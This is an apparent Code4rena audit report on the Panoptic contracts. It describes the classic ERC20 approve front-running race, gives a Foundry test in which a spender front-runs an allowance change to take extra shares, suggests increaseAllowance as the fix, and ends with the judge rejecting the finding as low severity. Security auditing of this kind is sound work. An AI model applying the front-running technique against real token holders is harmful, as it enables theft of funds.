Approve race condition in Collateral Tracker

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-06-panoptic/blob/153f0d82440b7e63075d55b0659706531431145f/contracts/tokens/ERC20Minimal.sol#L49-L55

Vulnerability details

Impact

The function approve(address spender, uint256 amount) allows spender to withdraw from your account, multiple times, up to the amount. If this function is called again it overwrites the current allowance with the new amount.

Front running this approval can cause a owner to approve a different amount of shares than the one they intended to approve.

Proof of Concept

Attack scenario:

1. Alice allows Bob to transfer N of Alice's tokens (N>0) by calling the approve method on a Token smart contract, passing the Bob's address and N as the method arguments
2. After some time, Alice decides to change from N to M (M>0) the number of Alice's tokens Bob is allowed to transfer, so she calls the approve method again, this time passing the Bob's address and M as the method arguments
3. Bob notices the Alice's second transaction before it was mined and quickly sends another transaction that calls the transferFrom method to transfer N Alice's tokens somewhere
4. If the Bob's transaction will be executed before the Alice's transaction, then Bob will successfully transfer N Alice's tokens and will gain an ability to transfer another M tokens
5. Before Alice noticed that something went wrong, Bob calls the transferFrom method again, this time to transfer M Alice's tokens.
6. So, an Alice's attempt to change the Bob's allowance from N to M (N>0 and M>0) made it possible for Bob to transfer N+M of Alice's tokens, while Alice never wanted to allow so many of her tokens to be transferred by Bob.

Proof Of Concept

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";
import {FactoryNFT} from "@base/FactoryNFT.sol";
import {CollateralTrackerTest} from "./core/CollateralTracker.t.sol";
import {CollateralTracker} from "@contracts/CollateralTracker.sol";
import {IERC20Partial} from "@tokens/interfaces/IERC20Partial.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {PanopticFactoryTest} from "./core/PanopticFactory.t.sol";
import {PanopticPool} from "@contracts/PanopticPool.sol";
import {PanopticPoolTest} from "./core/PanopticPool.t.sol";

contract BugTest_CollateralTracker is CollateralTrackerTest {
    FactoryNFT public factory;
    ERC20Mock public mock;
    address public mockAddr;
    address public ctAddr;
    CollateralTracker public ct;

    function setUp() public override(CollateralTrackerTest) {
        super.setUp();
        mock = new ERC20Mock("Mock", "MCK", address(this), 1e18);
        ct = new CollateralTracker(10, 2_000, 1_000, -1_024, 5_000, 9_000, 20_000);
        mock.approveInternal(address(this), address(ct), type(uint256).max);
        mockAddr = address(mock);
        ctAddr = address(ct);
    }

    function test_ApproveRaceCondition() public {
        address owner = makeAddr("owner");
        ct.startToken(false, token0, mockAddr, fee, panopticPool);
        mock.mint(owner, 100e18);

        // lets say owner deposits and approves the contract
        vm.startPrank(owner);
        mock.approveInternal(owner, address(ct), type(uint256).max);
        ct.mint(200, owner);
        vm.stopPrank();

        // Owner approves Alice to transfer 50 shares
        vm.startPrank(owner);
        ct.approve(Alice, 50);
        vm.stopPrank();

        // Now the owner going to increase the allowance of Alice to 100
        // But, Alice front runs the approval
        vm.startPrank(Alice);
        ct.transferFrom(owner, Alice, 50);
        vm.stopPrank();

        vm.startPrank(owner);
        ct.approve(Alice, 100);
        vm.stopPrank();

        // Now Alice can transfer 100 shares
        console.log("The Total Allowance for Alice is :", ct.allowance(owner, Alice));
        vm.startPrank(Alice);
        ct.transferFrom(owner, Alice, 100);
        vm.stopPrank();

        console.log("Total balance of Alice is :", IERC20Partial(ctAddr).balanceOf(Alice));
        // Thus Alice can transfer 150 shares instead of 100 shares which is not intended by the owner
        assertEq(IERC20Partial(ctAddr).balanceOf(Alice), 150);
    }
}

Test Logs

Logs:
  The Total Allowance for Alice is : 100
  Total balance of Alice is : 150

Tools Used

Manual Analysis

Recommended Mitigation Steps

It is recommended to use the increaseAllowance method instead of the approve method for increasing the allowance of a spender.

Use the openzeppelin's increaseAllowance and decreaseAllowance method to increase or decrease the allowance of a spender.

Here is the recommended mitigation:

+ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
+         address owner = _msgSender();
+         _approve(owner, spender, allowance(owner, spender) + addedValue);
+         return true;
+    }

Assessed type

ERC20

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid

[Picodes]

Approve race conditions are low under C4 rules